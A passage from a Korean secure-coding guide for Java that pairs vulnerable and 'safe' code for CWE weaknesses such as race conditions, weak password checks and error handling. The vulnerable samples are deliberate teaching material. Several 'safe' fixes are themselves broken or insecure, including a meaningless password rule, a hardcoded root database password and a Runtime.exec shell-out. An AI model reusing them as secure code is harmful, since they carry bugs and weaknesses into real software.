10:         try {
11:             if ( manageType.equals("READ") ) {
12:                 File f = new File("Test_367.txt");
13:                 if (f.exists()) {  // 만약 파일이 존재하면 파일내용을 읽음
14:                     BufferedReader br = new BufferedReader(new FileReader(f));
15:                     br.close();
16:                 }
17:             } else if ( manageType.equals("DELETE") ) {
18:                 File f = new File("Test_367.txt");
19:                 if (f.exists()) {  // 만약 파일이 존재하면 파일을 삭제함
20:                     f.delete();
21:                 } else {
22:                     ;
23:                 }
24:             }
25:         } catch (IOException e) {
26:         }
```

```
27:       }
28:   }
29:
30:   public class CWE367 {
31:     public static void main(String[] args) {
32:     // 파일의 읽기와 파일을 삭제하는 것을 동시에 수행한다.
33:     FileMgmtThread fileAccessThread = new FileMgmtThread("READ");
34:     FileMgmtThread fileDeleteThread = new FileMgmtThread("DELETE");
35:     fileAccessThread.start();
36:     fileDeleteThread.start();
37:     }
38:   }
```

위 예제는 파일의 존재를 확인하는 부분과 실제로 파일을 사용하는 부분을 실행하는 과정에서 시간차가 발생하는 경우, 파일에 대한 삭제가 발생하여 프로그램이 예상하지 못하는 형태로 수행될 수 있다. 또한 위 예제는 시간차를 이용하여 파일을 변경하는 등의 공격에 취약할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:   class FileMgmtThread extends Thread {
2:
3:       private static final String SYNC = "SYNC";
4:
5:       private String manageType = "";
6:
7:       public FileMgmtThread (String type) {
8:           manageType = type;
9:       }
10:
11:      public void run() {
12:        // synchronized 를 사용함으로써 지정된 객체에 lock이 걸려서
13:       // 블록을 수행하는 동안 다른 Thread가 접근할 수 없다.
14:        synchronized(SYNC) {
15:          try {
16:              if ( manageType.equals("READ") ) {
17:                  File f = new File("Test_367.txt");
18:                  if (f.exists()) {  // 만약 파일이 존재하면 파일내용을 읽음
19:                    BufferedReader br = new BufferedReader(new FileReader(f));
20:                    br.close();
21:                  }
22:              } else if ( manageType.equals("DELETE") ) {
23:                  File f = new File("Test_367.txt");
24:                  if (f.exists()) {  // 만약 파일이 존재하면 파일을 삭제함
25:                      f.delete();
```

```
26:                     } else {
27:                         ;
28:                     }
29:                 }
30:             } catch (IOException e) {
31:         }
32:     }
33:  }
34: }
35:
36: public class CWE367 {
37:     public static void main(String[] args) {
38:     // 파일의 읽기와 파일을 삭제하는 것을 동시에 수행한다.
39:     FileMgmtThread fileAccessThread = new FileMgmtThread("READ");
40:     FileMgmtThread fileDeleteThread = new FileMgmtThread("DELETE");
41:     fileAccessThread.start();
42:     fileDeleteThread.start();
43:     }
44: }
```

공유자원(예를 들어, 파일)을 여러 스레드가 접근하여 사용할 경우, 동기화 구문을 이용하여 한 번에 하나의 스레드만 접근 가능하도록 변경한다.

■ 안전하지 않은 코드의 예 - JAVA

```
1: public class MyServlet extends HttpServlet {
2:     String name;
3:     public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres ) {
4:         name = hreq.getParameter("name");
5:         …….
6: }
```

HttpServet을 상속받은 MyServlet이 멤버필드로 name을 사용하고 있다. name은 MyServlet을 동시에 사용하는 모든 사용자에게 정보가 노출된다.

■ 안전한 코드의 예1 - JAVA

```
1: public class MyServlet extends HttpServlet {
2:     public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres ) {
3:     // 서블릿 프로그램의 멤버 변수는 공용으로 사용하기 때문에 로컬로 정의해서 사용한다.
4:         String name = hreq.getParameter("name");
5:         ...
6: }
```

name을 doPost 메소드에만 사용할 수 있도록 로컬로 정의하여 경쟁상태를 제거한다.

■ 안전한 코드의 예2 - JAVA

```
1:  public class MyClass  {
2:      String name;
3:      public void doProcess (HttpRequestRequest hreq ) {
4:      // 멤버변수 공유 시 동기화시킨다.
5:          synchronized {
6:              name = hreq.getParameter("name");
7:              ...
8:          }
9:          ...
10: }
```

업무상 name을 여러 쓰레드 사이에서 공유해야 한다면, synchronized 문장을 사용하여, 임계코드가 쓰레드들 간 동기화할 필요가 있다.

라. 참고 문헌

[1] CWE-367 경쟁 조건: 검사시점과 사용시점 - http://cwe.mitre.org/data/definitions/367.html

[2] SANS Top 25 Most Dangerous Software Errors

[3] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010

[4] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01

[5] Steven Devijver. "Thread-safe webapps using Spring"
David Wheeler. "Prevent race conditions". 2007-10-04

[6] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995

[7] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26

4. J2EE 잘못된 습관: 스레드의 직접 사용 (J2EE Bad Practices : Direct Use of Threads)

가. 정의

J2EE 표준은 웹 응용프로그램에서 스레드 사용을 금지하고 있다. 따라서 스레드를 직접 사용하는 것 대신에 해당 플랫폼에서 제공하는 병렬 실행을 위한 프레임워크를 사용해야 한다. 그렇지 않을 경우, 교착 상태, 경쟁 조건, 및 기타 동기화 오류 등이 발생한다.

나. 안전한 코딩기법

- J2EE에서는 스레드를 사용하는 것 대신에 병렬 실행을 위한 프레임워크를 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U383 extends HttpServlet {
2:      protected void doGet(HttpServletRequest request, HttpServletResponse response)
                                                          throws ServletException, IOException {
3:          // Thread를 만들고 background에서 작업을 수행한다.
4:          Runnable r = new Runnable() {
5:              public void run() {
6:                  System.err.println("do    something");
7:              }
8:          };
9:          new Thread(r).start();
10:     }
11: }
```

J2EE 프로그램에서 스레드를 직접 생성하여 사용하면, 교착 상태, 경쟁 조건, 및 기타 동기화 오류 등이 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S383 extends HttpServlet {
2:      protected void doGet(HttpServletRequest request, HttpServletResponse response)
                                                          throws ServletException, IOException {
3:          // 수행할 Thread에 대해서 일반 자바 클래스를 만든다.
4:          // New MyClass().main();
5:
6:          // 만약 async로 병렬작업을 하기 위해서는 JAVA Runtime을
7:          // 사용하여 async로 통신하는 게 좋다.
8:          Runtime.getRuntime().exec("java AsyncClass");
9:      }
10: }
11:
12: class AsyncClass {
13:     public static void main(String args[]) {
14:         // Process and store request statistics.
15:         // ……
16:         System.err.println("do something");
17:     }
18: }
```

스레드를 직접 사용하는 것 대신에 해당 플랫폼에서 제공하는 병렬 실행을 위한 프레임워크를 사용한다.

라. 참고 문헌

[1] CWE-383 J2EE 잘못된 습관: 스레드의 직접 사용 - http://cwe.mitre.org/data/definitions/383.html

[2] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems

5. 심볼릭명이 정확한 대상에 매핑되어 있지 않음 (Symbolic Name not Mapping to Correct Object)

가. 정의

심볼릭명을 사용하여 특정 대상을 지정하는 경우 공격자는 심볼릭명이 가리키는 대상을 조작하여 프로그램이 원래 의도했던 동작을 못하게 할 수 있다.

나. 안전한 코딩기법

- 클래스 객체가 필요할 때에는 클래스 생성자를 표준적인 방법으로만 호출해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:   ……
2:       public void f() throws ClassNotFoundException, InstantiationException,
                                                              IllegalAccessException {
3:             // Class.forName으로 클래스를 생성하고 있다.
4:             Class c = Class.forName("testbed.unsafe.U386.Add");
5:             Object obj = (Add)c.newInstance();
6:             Add add = (Add) obj;
7:             System.out.println(add.add(3, 5));  // 34
8:
9:             Object obj2 = (Add)Class.forName("testbed.unsafe.Add").newInstance();
10:            Add add2 = (Add) obj2;
11:            System.out.println(add2.add(3, 5));  // 8
12:      }
13:
14:      class Add {
15:              int add(int x, int y) {
16:                   return x + y;
17:              }
18:        }
19:  }
20:
21:  class Add {
22:      int add(int x, int y) {     return (x*x + y*y);     }
23:  }
```

java.lang.Class.forName()은 인수 문자열을 기반으로 해당 클래스를 반환(return)하지만, 문자열이 "이름"으로서 지시하는 클래스가 언제나 동일한 메소드를 구현하고 있음을 보장하지 못한다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      public void f() throws ClassNotFoundException,
3:                                          InstantiationException,    IllegalAccessException {
4:              // 객체의 생성은 직접 생성자를 호출하여 생성한다.
5:              testbed.safe.S386.Add add = new testbed.safe.S386.Add();
6:              System.out.println(add.add(3, 5));
7:              testbed.safe.Add add2 = new   testbed.safe.Add();
8:              System.out.println(add2.add(3, 5));
9:      }
10:
11:     class Add {
12:             private int add(int x, int y) {
13:                     return x + y;
14:             }
15:     }
16: }
17:
18: class Add {
19:     int add(int x, int y) {      return (x*x + y*y);      }
20: }
```

java.lang.Class.forName 대신, 각 클래스의 생성자를 제대로 호출하여 객체를 생성한다.

라. 참고 문헌

[1] CWE-386 심볼릭명이 정확한 대상에 매핑되어 있지 않음 - http://cwe.mitre.org/data/definitions/386.html

6. 중복 검사된 잠금(Double-Checked Locking)

가. 정의

중복 검사된 잠금(double-checked locking)은 프로그램의 효율성을 높이기 위해 사용하지만, 의도한 대로 동작하지 않는다.

동기화 비용을 줄이기 위해, 프로그래머는 하나의 객체만 할당될 수 있도록 코드를 작성하지만, 자바에서는 객체 참조 주소를 할당하고 생성자를 호출하므로 의도한 객체가 완전하게 초기화되지 않은 상태에서 사용되는 경우가 발생할 수 있다.

나. 안전한 코딩기법

- 특정 리소스가 (비)할당되었을 경우만 작업을 수행하도록 두 번에 걸쳐 검사를 시도해도 원하는 자원이 (비)할당되었는지 보장이 불가능하다.
- 중복 검사된 잠금에 대한 완벽한 보장을 원할 경우 메소드를 동기화해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      Helper helper;
3:
4:      public Helper MakeHelper() {
5:          // helper 객체의 null 체크에 대해서는 동기화가 되지 않는다.
6:          if (helper == null) {
7:              synchronized (this) {
8:                  if (helper == null) {
9:                      helper = new Helper();
10:                 }
11:             }
12:         }
13:         return helper;
14:     }
15:
16:     class Helper {
17:         ……
18:     }
19: }
```

위 예제는 하나의 helper 객체만 할당될 수 있도록 코드가 작성되었다. 이는 불필요한 동기화를 피하면서 스레드 안전성을 보장하는 것처럼 보인다. 그러나 자바에서는 객체 참조 주소를 할당하고 생성자를 호출하므로, helper 객체가 완전하게 초기화되지 않은 상태에서 사용되는 경우가 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:      Helper helper;
3:
4:      // 메소드 전체에 대해 동기화를 하도록 설정함.
5:      public synchronized Helper MakeHelper() {
6:          if (helper == null) {
7:              helper = new Helper();
8:          }
9:          return helper;
10:     }
11: }
12:
13: class Helper {
14:     ……
15: }
```

중복 검사된 잠금에 대한 완벽한 보장을 원할 경우, 메소드 전체에 대해 동기화를 하도록 설정한다.

라. 참고 문헌

[1] CWE-609 중복 검사된 잠금 - http://cwe.mitre.org/data/definitions/609.html

[2] David Bacon et al.. "The "Double-Checked Locking is Broken" Declaration". http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html

7. 제대로 제어되지 않은 재귀(Uncontrolled Recursion)

가. 정의

재귀의 순환횟수를 제어하지 못하여 할당된 메모리나 프로그램 스택 등의 자원을 과다하게 사용하면 위험하다. 대부분의 경우, 귀납 조건(base case)이 없는 재귀는 무한 재귀에 빠진다.

나. 안전한 코딩기법

- 무한 재귀를 방지하기 위하여 모든 재귀 호출을 조건문 블럭이나 반복문 블럭 안에서만 수행해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public int factorial(int n) {
3:      // 재귀 호출이 조건문/반복문 블럭 외부에서 일어나면 대부분 무한 재귀를 유발한다.
4:      return n * factorial(n - 1);
5:  }
```

재귀적으로 정의되는 함수의 경우, 재귀 호출이 조건문/반복문 블럭 외부에서 일어나면 대부분 무한 재귀를 유발한다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public int factorial(int n) {
3:      int i;
4:      // 모든 재귀 호출은 조건문이나 반복문 블럭 안에서 이루어져야한다.
5:      if (n == 1) {
6:          i = 1;
7:      } else {
8:          i = n * factorial(n - 1);
9:      }
10:     return i;
11: }
```

모든 재귀 호출은 조건문이나 반복문 블럭 안에서 이루어져야한다.

라. 참고 문헌

[1] CWE-674 제대로 제어되지 않은 재귀 - http://cwe.mitre.org/data/definitions/674.html

제5절 에러 처리

정상적인 에러는 사전에 정의된 예외사항이 특정 조건에서 발생하는 에러이며, 비정상적인 에러는 사전에 정의되지 않은 상황에서 발생하는 에러이다. 개발자는 정상적인 에러 및 비정상적인 에러 발생에 대비한 안전한 에러처리 루틴을 사전에 정의하고 프로그래밍 함으로써 에러처리 과정 중에 발생 할 수 있는 보안 위협을 미연에 방지 할 수 있다. 에러를 불충하게 처리(혹은 전혀 처리) 하지 않을 때 혹은 에러 정보에 과도하게 많은 정보를 포함하여 이를 공격자가 악용 할 수 있을 때 보약취약점이 발생할 수 있다.

1. 취약한 패스워드 요구조건(Weak Password Requirements)

가. 정의

사용자에게 강한 패스워드를 요구하지 않으면 사용자 계정을 보호하기 힘들다.

나. 안전한 코딩기법

- 패스워드 관련해서 강한 조건이 필요하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void doPost(HttpServletRequest request, HttpServletResponse response)
3:                                                  throws IOException, ServletException {
4:      try {
5:              String id = request.getParameter("id");
6:              String passwd = request.getParameter("passwd");
7:              // 패스워드 복잡도 검증 없이 가입 승인 처리
8:              ....
9:      } catch (SQLException e) {    ……      }
10: }
```

위 예제와 같이 가입자가 입력한 패스워드에 대한 복잡도 검증 없이 가입 승인 처리를 수행하게 되면 사용자 계정을 보호하기 힘들게 된다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  private static final String CONNECT_STRING = "jdbc:ocl:orcl";
3:
4:  public void doPost(HttpServletRequest request, HttpServletResponse    response)
5:                                                  throws IOException, ServletException {
6:      try {
7:              String id = request.getParameter("id");
8:              String passwd = request.getParameter("passwd");
9:
10:             // passwd에 대한 복잡도 검증
11:             if (passwd == null || "".equals(passwd)) return;
12:             if (!passwd.matches("") && passwd.indexOf("@!#")    > 4   && passwd.length() > 8) {
13:                     // passwd 복잡도 검증 후, 가입 승인 처리
14:             }
15:     } catch (SQLException e) {      ……      }
16:       catch (NamingException e) {      ……      }
17: }
```

사용자 계정을 보호하기 위해 가입 시 패스워드 복잡도 검증 후 가입 승인처리를 수행한다.

라. 참고 문헌

[1] CWE-521 취약한 패스워드 요구조건 - http://cwe.mitre.org/data/definitions/521.html
[2] OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

2. 오류 메시지 통한 정보 노출(Information exposure through an error message)

가. 정의

SW는 오류 메시지를 통해 환경, 사용자, 관련 데이터 등의 프로그램 내부 정보를 유출될 수 있다. 예를 들어 예외 발생 시 예외 이름이나 스택 트레이스를 출력하면 프로그램 내부 구조를 쉽게 파악할 수 있다.

나. 안전한 코딩기법

- 최종 사용자에게 배포되는 SW에서는 내부 구조나 공격자에 활용될 수 있는 민감한 정보를 오류 메시지로 출력하지 말아야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public static void main(String[] args) {
3:      String urlString = args[0];
4:      try{
5:          URL url = new URL(urlString);
6:          URLConnection cmx = url.openConnection();
7:          cmx.connect();
8:      }
9:      catch (Exception e) {    e.printStackTrace();    }
10: }
```

예외 이름이나 스택 트레이스를 출력하면 프로그램 내부 정보가 유출된다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public static void main(String[] args) {
3:      String urlString = args[0];
4:      try{
5:          URL url = new URL(urlString);
6:          URLConnection cmx = url.openConnection();
7:          cmx.connect();
8:      }
9:      catch (Exception e) {    System.out.println("연결 예외 발생");    }
10: }
```

예외 이름이나 스택 트레이스를 출력하지 않는다.

라. 참고 문헌

[1] CWE-209 오류 메시지 통한 정보 노출 - http://cwe.mitre.org/data/definitions/209.html

3. 오류 상황에 대한 처리 부재(Detection of Error Condition Without Action)

가. 정의

오류는 포착했으나 그 오류에 대해서 아무 조치도 하지 않으면, 그 상태에서 계속 프로그램이 실행되므로 개발자가 의도하지 않은 결과를 초래한다.

나. 안전한 코딩기법

- 예외 또는 오류를 포착(catch)한 경우 그것에 대한 적절한 처리를 해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  private Connection conn;
3:
4:  public Connection DBConnect(String url, String id, String password) {
5:      try {
6:          String CONNECT_STRING = url    + ":" + id + ":" + password;
7:          InitialContext ctx = new InitialContext();
8:          DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
9:          conn = datasource.getConnection();
10:     } catch (SQLException e) {
11:         // catch 블록이 비어있음
12:     } catch (NamingException e) {
13:         // catch 블록이 비어있음
14:     }
15:     return conn;
16: }
```

위 예제는 try 블록에서 발생하는 오류를 포착(catch)하고 있지만 그 오류에 대해서 아무 조치를 하고 있지 않다. 따라서 프로그램이 계속 실행되기 때문에 프로그램에서 어떤 일이 일어났는지 전혀 알 수 없게 된다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  private Connection conn;
3:
4:  public Connection DBConnect(String url, String id,    String password) {
5:      try {
6:              String CONNECT_STRING = url + ":" + id + ":" + password;
7:              InitialContext ctx = new InitialContext();
8:              DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
9:              conn = datasource.getConnection();
10:     } catch (SQLException e) {
11:             // Exception catch이후 Exception에 대한 적절한 처리를 해야 한다.
12:             if ( conn != null ) {
13:                     try {
14:                             conn.close();
15:                     } catch (SQLException e1) {
16:                             conn = null;
17:                     }
18:             }
19:     } catch (NamingException e) {
20:             // Exception catch이후 Exception에 대한 적절한 처리를 해야 한다.
21:             if ( conn != null ) {
22:                     try {
23:                             conn.close();
24:                     } catch (SQLException e1) {
25:                             conn = null;
26:                     }
27:             }
28:     }
29:     return conn;
30: }
```

예외를 포착(catch)한 후, 각각의 예외 사항(Exception)에 대하여 적절하게 처리해야 한다.

라. 참고 문헌

[1] CWE-390 오류 상황에 대한 처리 부재 - http://cwe.mitre.org/data/definitions/390.html

[2] OWASP Top Ten 2004 Category A7 - Improper Error Handling

4. 비정상적 혹은 예외적 조건의 부적절한 검사 (Improper Check for Unusual or Exceptional Conditions)

가. 정의

프로그램 수행 중에 함수의 결과 값에 대한 적절한 처리 또는 예외상황에 대한 조건을 적절하게 검사하지 않을 경우, 예기치 않은 문제를 야기할 수 있다.

나. 안전한 코딩기법

- 값을 반환하는 모든 함수의 결과 값을 검사하여, 그 값이 기대한 값인지 검사하고, 예외처리를 사용하는 경우에 광범위한 예외처리 대신 구체적인 예외처리를 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public void readFromFile(String fileName) {
2:      try {
3:          ...
4:          File myFile = new File(fileName);
5:          FileReader fr = new FileReader(myFile);
6:          ...
7:      } catch (Exception ex) {...}
8:  }
```

함수의 인자로 fileName에 대한 Null 체크없이 File 객체를 생성하였으며, 광범위한 예외 클래스인 Exception을 사용하여 예외처리를 했다.

■ 안전한 코드의 예 - JAVA

```
1:  public void readFromFile(String fileName) throws FileNotFoundException,
2:                                                   IOException,MyException {
3:      try {
4:          ...
5:  // filename에 대한 널을 조사
6:          if ( fileName == NULL ) throw new MyException("에러");
7:          File myFile = new File(fileName);
8:          FileReader fr = new FileReader(myFile);
9:          ...
10:  // 함수 루틴에서 모든 가능한 예외에 대해서 처리한다.
11:     } catch (FileNotFoundException fe) {...}
12:     } catch (IOException ie) {...}
13: }
```

fileName이 Null 값인지 검사하고 Null이면 에러 메시지를 출력과 예외를 발생시킨다. 또한 발생 가능한 모든 예외에 대한 구체적인 예외처리를 한다.

라. 참고 문헌

[1] CWE-754 부적절한 혹은 예외적 조건의 부적절한 검사 - http://cwe.mitre.org/data/definitions/754.html
CWE-252 미점검 리턴 값 - http://cwe.mitre.org/data/definitions/252.html
CWE-253 부정확한 함수 리턴 값 점검 - http://cwe.mitre.org/data/definitions/253.html
CWE-273 부적절한 하락된 특권점검 - http://cwe.mitre.org/data/definitions/273.html
CWE-296 부적절한 증명서 검증 신뢰체인 후속 - http://cwe.mitre.org/data/definitions/296.html
CWE-297 부적절한 호스트-특정 증명서 데이터검증 - http://cwe.mitre.org/data/definitions/297.html
CWE-298 부적절한 증명서 만료검증 - http://cwe.mitre.org/data/definitions/298.html
CWE-299 부적절한 증명서 파기점검 - http://cwe.mitre.org/data/definitions/299.html
[2] SANS Top 25 Most Dangerous Software Errors, http://www.sans.org/top25-software-errors/
[3] M. Howard, D. LeBlanc, Writing Secure Code, Second Edition, Microsoft Press

제6절 코드 품질

작성 완료된 프로그램은 기능성, 신뢰성, 사용성, 유지보수성, 효율성, 이식성 등을 충족하기 위하여 일정 수준에 코드품질을 유지하여야 한다. 프로그램 코드가 너무 복잡하면 관리성, 유지보수성, 가독성이 떨어질 뿐 아니라 다른 시스템에 이식하기도 힘들며, 프로그램에는 안전성을 위협할 취약점들이 코드 안에 숨겨져 있을 가능성이 있다.

1. 코드 정확성: notify() 호출(Code Correctness: Call to notify())

가. 정의

스레드의 notify()를 직접 호출하면 살아 있는 스레드 중에서 어떤 스레드를 깨울지 불명확하다. 따라서 직접 호출하지 않는 것이 좋다.

나. 안전한 코딩기법

- notify()를 직접 호출하면 어떤 스레드를 깨울지 불명확하므로 사용하지 않는 것이 좋다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public synchronized void notifyJob() {
3:      boolean flag = true;
4:      notify();
5:  }
```

notify()를 직접 호출하면 어떤 스레드를 깨울지 불명확하다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public synchronized void notifyJob() {
3:      boolean flag = true;
4:      // notify() 메소드를 사용하지 않는다.
5:  }
```

notify() 메소드를 사용하지 않는다.

라. 참고 문헌

[1] CWE-362 경쟁 상태 - http://cwe.mitre.org/data/definitions/362.html
CWE-662 부적절한 동기화 - http://cwe.mitre.org/data/definitions/662.html
[2] Sun Microsystems, Inc. Java Sun Tutorial - Concurrency

2. 자원의 부적절한 반환(Improper Resource Shutdown or Release)

가. 정의

프로그램의 자원, 예를 들면 열린 파일 기술자(open file descriptor), 힙 메모리(heap memory), 소켓(socket) 등은 유한한 자원이다. 이러한 자원을 할당받아 사용한 후, 더 이상 사용하지 않는 경우에는 적절히 반환하여야 한다.

나. 안전한 코딩기법

- 자원을 획득하여 사용한 다음에는 finally 블록에서 반드시 자원을 해제하여야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void processFile() throws SQLException {
3:      Connection conn = null;
4:      final String url = "jdbc:mysql://127.0.0.1/example?user=root&password=1234";
5:      try {
6:              Class.forName("com.mysql.jdbc.Driver");
7:              conn = DriverManager.getConnection(url);
8:              ……
9:              // 예외발생시 할당 받은 자원이 반환되지 않는다.
10:             conn.close();
11:     } catch (ClassNotFoundException e)    {
12:             System.err.println("ClassNotFoundException occured");
13:     } catch (SQLException e) {
14:             System.err.println("SQLException occured");
15:     } finally {
16:
17:  ……
```

위의 예제는 데이터베이스에 연결된 후에 사용 중 예외가 발생하면 할당된 데이터베이스 컨넥션 및 JDBC 자원이 반환되지 않는다. 이와 같은 상황이 반복될 경우 시스템에서 사용 가능한 자원이 소진될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void processFile() throws SQLException {
3:      Connection conn = null;
4:      String url = "jdbc:mysql://127.0.0.1/example?user=root&password=1234";
5:      try {
6:          Class.forName("com.mysql.jdbc.Driver");
7:          conn = DriverManager.getConnection(url);
8:          ……
9:      } catch (ClassNotFoundException e) {
10:         System.err.print("error");
11:     } catch (SQLException e) {
12:         System.err.print("error");
13:     } finally {
14:         ……
15:         // 더 이상 사용하지 않으면 즉시 close()를 해줘야 한다.
16:         conn.close();
17:  ……
```

예외상황이 발생하여 함수가 종료될 때 예외의 발생 여부와 상관없이 finally 블록에서 할당받은 자원을 반환한다.

라. 참고 문헌

[1] CWE-404 자원의 부적절한 반환 - http://cwe.mitre.org/data/definitions/404.html

[2] SANS Top 25 2009 - (SANS 2009) Risky Resource Management - CWE ID 404 Improper Resource Shutdown or Release

3. 널포인터 역참조(NULL Pointer Dereference)

가. 정의

널 포인터 역참조는 '일반적으로 그 객체가 NULL이 될 수 없다'라고 하는 가정을 위반했을 때 발생한다. 공격자가 의도적으로 NULL 포인터 역참조를 실행하는 경우, 그 결과 발생하는 예외 사항을 이용하여 추후의 공격을 계획하는 데 사용될 수 있다.

나. 안전한 코딩기법

- 널이 될 수 있는 레퍼런스(reference)는 참조하기 전에 널 값인지를 검사하여 안전한 경우에만 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      String cmd = System.getProperty("cmd");
4:      // cmd가 null인지 체크하지 않았다.
5:      cmd = cmd.trim();
6:      System.out.println(cmd);
7:  ……
```

위 예제는 "cmd" 프로퍼티가 항상 정의되어 있다고 가정하고 있지만, 만약 공격자가 프로그램의 환경을 제어해 "cmd" 프로퍼티가 정의되지 않게 하면, cmd는 널이 되어 trim() 메소드를 호출 할 때 널 포인터 예외가 발생하게 된다.

◎ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      String cmd = System.getProperty("cmd");
4:      // cmd가 null인지 체크하여야 한다.
5:      if (cmd != null) {
6:              cmd = cmd.trim();
7:              System.out.println(cmd);
8:      } else System.out.println("null command");
9:  ……
```

먼저 cmd가 널인지 검사한 후에 사용한다.

라. 참고 문헌

[1] CWE-476 널포인터 역참조 - http://cwe.mitre.org/data/definitions/476.html

4. 코드 정확성: 부정확한 serialPersistentFields 조정자 (Code Correctness: Incorrect serialPersistentFields Modifier)

가. 정의

serialPersistentFields를 정확하게 사용하기 위해서는 'private static final'로 선언해야 한다. public으로 선언하여 공유하면 정확성을 해칠 수 있다.

나. 안전한 코딩기법

- serialPersistentFields를 정확하게 사용하려면 private, static, final로 선언해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  class List implements Serializable {
2:      public ObjectStreamField[] serialPersistentFields =
                          { new ObjectStreamField("myField", List.class) };
3:      ……
4:  }
```

serialPersistentFields를 정확하게 사용하기 위해서는 private, static, final로 선언해야 한다.

■ 안전한 코드의 예 - JAVA

```
1:  class List implements   Serializable {
2:      private static final ObjectStreamField[] serialPersistentFields =
                          { new ObjectStreamField("myField", List.class) };
3:      ……
4:  }
```

serialPersistentFields를 정확하게 사용하기 위해서는 private, static, final로 선언해야 한다.

라. 참고 문헌

[1] CWE-485 불충분한 캡슐화 - http://cwe.mitre.org/data/definitions/485.html
[2] Sun Microsystems, Inc. Java Sun Tutorial

5. 코드 정확성: Thread.run() 호출(Code Correctness: Call to Thread.run())

가. 정의

프로그램에서 스레드의 start() 대신에 run()을 호출하면 스레드가 생성되지 않고, 해당 run() 함수를 직접 호출하여 해당 run() 함수의 종료를 대기하게 된다. 즉, 프로그래머는 새로운 스레드를 시작시키려고 했지만, start() 대신에 run()을 호출함으로써 호출자의 스레드에서 run() 메소드를 실행하게 된다.

나. 안전한 코딩기법

- 스레드의 run() 대신에 start()를 수행하도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:      protected void cwe_572() {
3:              Thread thr = new PrintThread();
4:              // 스레드 객체의 run() 메소드를 직접 호출하는 것은 대부분 버그이다.
5:              thr.run();
6:      }       ……
7:  }
8:   class PrintThread extends Thread {
9:      public void run() {     System.out.println("CWE 572 TEST");    }
10:  }
```

start() 대신에 run() 메소드를 사용하고 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      protected void cwe_572() {
3:              Thread thr = new PrintThread();
4:              // 새로운 스레드를 시작시킨다.
5:              thr.start();
6:      }       ……
7:  }
8:  class PrintThread extends Thread {
9:      public void run() {     System.out.println("CWE 572    TEST");     }
10:  }
```

스레드의 start() 메소드를 사용한다.

라. 참고 문헌

[1] CWE-572 코드 정확성: Thread.run() 호출 - http://cwe.mitre.org/data/definitions/572.html

6. 코드 정확성: 동기화된 메소드를 비동기화된 메소드로 재정의 (Code Correctness: Non-Synchronized Method Overrides Synchronized Method)

가. 정의

클래스를 상속받아 사용하는 경우, 상위 클래스에서 동기화된(synchronized) 메소드는 하위 클래스에서 재정의(override)를 하지 않거나, 재정의해야 하는 경우 기존과 동일하게 동기화된(synchronized) 메소드로 정의해야 한다.

나. 안전한 코딩기법

- 하위 클래스에서 동기화된(synchronized) 메소드를 재정의해야 하는 경우, 상위 클래스와 동일하게 synchronized 메소드로 재정의해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U9627 {
2:      public synchronized void synchronizedMethod() {
3:              for (int i=0; i<10; i++)      System.out.print(i);
4:      }
5:  ……
6:  }
7:
8:  public class Foo extends U9627 {
9:     // 동기화된 메소드로  정의하지 않았다.
10:     public void synchronizedMethod() {
11:             for (int i=0; i<20; i++)      System.out.print(i);
12:     }
13:  }
```

상위 클래스에서 동기화된(synchronized) 메소드를 하위 클래스에서 비동기화된 메소드로 재정의(override)하면 안 된다

■ 안전한 코드의 예 - JAVA

```
1:  public class S9627 {
2:      public synchronized void synchronizedMethod() {
3:              for (int i=0; i<10; i++)      System.out.print(i);
4:      }
5:  ……
6:  }
7:
8:  public class Foo extends S9627 {
9:      public synchronized void    synchronizedMethod() {
10:             for (int i=0; i<20; i++)      System.out.print(i);
11:     }
12:  }
```

동기화된(synchronized) 메소드는 재정의하지 않거나 재정의하면 동기화된(synchronized) 메소드로 재정의해야 한다

라. 참고 문헌

[1] CWE-665 부적절한 초기화 - http://cwe.mitre.org/data/definitions/665.html

[2] Sun Microsystems, Inc. Bug ID: 4294756 Javac should warn if synchronized method is overridden with a non synchronized

